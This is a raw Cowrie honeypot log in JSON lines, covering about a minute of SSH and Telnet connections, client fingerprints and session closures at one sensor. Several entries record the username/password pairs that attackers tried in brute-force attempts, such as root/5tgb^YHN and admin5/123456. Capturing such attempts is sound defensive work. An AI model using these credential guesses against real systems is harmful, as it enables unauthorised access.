{"eventid":"cowrie.login.failed","username":"root","password":"102013","message":"login attempt [root/102013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:35.454160Z","src_ip":"221.139.88.149","session":"e886e7a35136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:36.670920Z","src_ip":"221.139.88.149","session":"e886e7a35136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.337122678756714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:39.841900Z","src_ip":"34.69.118.1","session":"a360b564eeaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140064477920532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:40.573441Z","src_ip":"34.69.118.1","session":"b2bc3ab494b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.027610778808594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:40.678300Z","src_ip":"34.69.118.1","session":"6be391b0cced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969171285629272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:42.431827Z","src_ip":"34.69.118.1","session":"042fc2e72772","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57372,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa20098cf9a7","protocol":"ssh","message":"New connection: 122.168.114.167:57372 (159.203.135.109:22) [session: fa20098cf9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:46.116217Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":48304,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed49adf3f94f","protocol":"ssh","message":"New connection: 76.127.61.251:48304 (10.17.0.5:22) [session: ed49adf3f94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:46.227526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:46.236115Z","src_ip":"76.127.61.251","session":"ed49adf3f94f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:46.294064Z","src_ip":"76.127.61.251","session":"ed49adf3f94f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5tgb^YHN","message":"login attempt [root/5tgb^YHN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:46.555109Z","src_ip":"76.127.61.251","session":"ed49adf3f94f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50708,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcc0fc561676","protocol":"telnet","message":"New connection: 34.69.118.1:50708 (159.203.135.109:23) [session: fcc0fc561676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:47.058927Z"}
{"eventid":"cowrie.session.closed","duration":32.035603284835815,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:47.078127Z","src_ip":"34.69.118.1","session":"559251faeea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:47.615422Z","src_ip":"76.127.61.251","session":"ed49adf3f94f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":39834,"dst_ip":"159.203.135.109","dst_port":22,"session":"97bb28c3611c","protocol":"ssh","message":"New connection: 113.163.156.190:39834 (159.203.135.109:22) [session: 97bb28c3611c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:47.756873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:47.762179Z","src_ip":"113.163.156.190","session":"97bb28c3611c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:47.937168Z","src_ip":"122.168.114.167","session":"fa20098cf9a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:47.942180Z","src_ip":"122.168.114.167","session":"fa20098cf9a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:48.005149Z","src_ip":"113.163.156.190","session":"97bb28c3611c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin-123456","message":"login attempt [root/admin-123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:49.007587Z","src_ip":"113.163.156.190","session":"97bb28c3611c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.62610697746277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:49.678538Z","src_ip":"34.69.118.1","session":"d1e48e217dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:50.252122Z","src_ip":"113.163.156.190","session":"97bb28c3611c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":58756,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffb8ff38000d","protocol":"telnet","message":"New connection: 109.224.242.7:58756 (10.17.0.5:23) [session: ffb8ff38000d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:50.307605Z"}
{"eventid":"cowrie.session.closed","duration":30.145980834960938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:55.117240Z","src_ip":"34.69.118.1","session":"3e2dc59adf88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40974450111389,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:55.664021Z","src_ip":"34.69.118.1","session":"61048ae04f95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50908,"dst_ip":"159.203.135.109","dst_port":23,"session":"0821bdb71f45","protocol":"telnet","message":"New connection: 34.69.118.1:50908 (159.203.135.109:23) [session: 0821bdb71f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:55.684087Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:19:59.726526Z","src_ip":"122.168.114.167","session":"fa20098cf9a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.152564525604248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:00.181926Z","src_ip":"34.69.118.1","session":"fb903c918220","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96034026145935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:00.313256Z","src_ip":"34.69.118.1","session":"133b4f1843f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":42242,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4d5e5587c45","protocol":"telnet","message":"New connection: 34.69.118.1:42242 (159.203.135.109:23) [session: b4d5e5587c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:01.243472Z"}
{"eventid":"cowrie.session.closed","duration":31.120015621185303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:01.476640Z","src_ip":"34.69.118.1","session":"298d458310ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":42244,"dst_ip":"159.203.135.109","dst_port":23,"session":"df6d92d74015","protocol":"telnet","message":"New connection: 34.69.118.1:42244 (159.203.135.109:23) [session: df6d92d74015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:01.910374Z"}
{"eventid":"cowrie.session.closed","duration":30.964243173599243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:02.346262Z","src_ip":"34.69.118.1","session":"92f67090a5c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.336711406707764,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:07.149007Z","src_ip":"34.69.118.1","session":"25052f95c291","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"21.1","message":"Connection lost after 21.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:07.172666Z","src_ip":"122.168.114.167","session":"fa20098cf9a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40238,"dst_ip":"159.203.135.109","dst_port":23,"session":"86dea8b399d6","protocol":"telnet","message":"New connection: 34.69.118.1:40238 (159.203.135.109:23) [session: 86dea8b399d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:07.853595Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40244,"dst_ip":"159.203.135.109","dst_port":23,"session":"367ce376f9c2","protocol":"telnet","message":"New connection: 34.69.118.1:40244 (159.203.135.109:23) [session: 367ce376f9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:13.417935Z"}
{"eventid":"cowrie.session.closed","duration":32.44263768196106,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:19.501332Z","src_ip":"34.69.118.1","session":"fcc0fc561676","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":51984,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a7eb787ba84","protocol":"telnet","message":"New connection: 89.39.83.70:51984 (159.203.135.109:23) [session: 9a7eb787ba84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:25.063549Z"}
{"eventid":"cowrie.session.closed","duration":31.229774475097656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:26.913737Z","src_ip":"34.69.118.1","session":"0821bdb71f45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50634,"dst_ip":"159.203.135.109","dst_port":23,"session":"a320d2bc900c","protocol":"telnet","message":"New connection: 34.69.118.1:50634 (159.203.135.109:23) [session: a320d2bc900c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:28.713970Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":56908,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd24fc1a534e","protocol":"telnet","message":"New connection: 89.39.83.70:56908 (159.203.135.109:23) [session: cd24fc1a534e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:28.775949Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50648,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1f24ce6d601","protocol":"telnet","message":"New connection: 34.69.118.1:50648 (159.203.135.109:23) [session: d1f24ce6d601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:30.164542Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50650,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf68751e3875","protocol":"telnet","message":"New connection: 34.69.118.1:50650 (159.203.135.109:23) [session: bf68751e3875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:32.206126Z"}
{"eventid":"cowrie.session.closed","duration":30.77322554588318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:32.683453Z","src_ip":"34.69.118.1","session":"df6d92d74015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.617947340011597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:32.861270Z","src_ip":"34.69.118.1","session":"b4d5e5587c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50656,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ac8dab7ea97","protocol":"telnet","message":"New connection: 34.69.118.1:50656 (159.203.135.109:23) [session: 3ac8dab7ea97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:33.291203Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50664,"dst_ip":"159.203.135.109","dst_port":23,"session":"b48ab0318869","protocol":"telnet","message":"New connection: 34.69.118.1:50664 (159.203.135.109:23) [session: b48ab0318869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:33.984003Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":51642,"dst_ip":"10.17.0.5","dst_port":22,"session":"1729dd53cffc","protocol":"ssh","message":"New connection: 221.139.88.149:51642 (10.17.0.5:22) [session: 1729dd53cffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:34.776093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:34.782941Z","src_ip":"221.139.88.149","session":"1729dd53cffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":49646,"dst_ip":"10.17.0.5","dst_port":22,"session":"b80c2edc2e52","protocol":"ssh","message":"New connection: 76.127.61.251:49646 (10.17.0.5:22) [session: b80c2edc2e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:34.795557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:34.800359Z","src_ip":"76.127.61.251","session":"b80c2edc2e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:34.857651Z","src_ip":"76.127.61.251","session":"b80c2edc2e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:35.039482Z","src_ip":"221.139.88.149","session":"1729dd53cffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testing","message":"login attempt [root/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:35.120016Z","src_ip":"76.127.61.251","session":"b80c2edc2e52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin5","password":"123456","message":"login attempt [admin5/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:35.913154Z","src_ip":"221.139.88.149","session":"1729dd53cffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:36.179858Z","src_ip":"76.127.61.251","session":"b80c2edc2e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:37.193960Z","src_ip":"221.139.88.149","session":"1729dd53cffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.483195543289185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:39.336648Z","src_ip":"34.69.118.1","session":"86dea8b399d6","protocol":"telnet"}
